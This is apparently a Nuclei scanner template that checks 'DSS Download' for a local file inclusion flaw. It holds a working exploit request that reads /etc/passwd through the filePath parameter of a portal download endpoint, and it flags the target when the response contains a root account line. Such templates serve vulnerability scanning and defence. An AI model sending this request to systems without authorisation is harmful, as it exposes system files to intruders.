id: dss-download-fileread

info:
  name: DSS Download - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: DSS Download is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,dss,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022076cb7d53a7b7764746937fba00e752e267aafd45d3216507124a4374f587c80a02210093606f4a4a32135329865d6ff484051512a22bdddd0396c2458dc44601603494:922c64590222798bb761d5b6d8e72950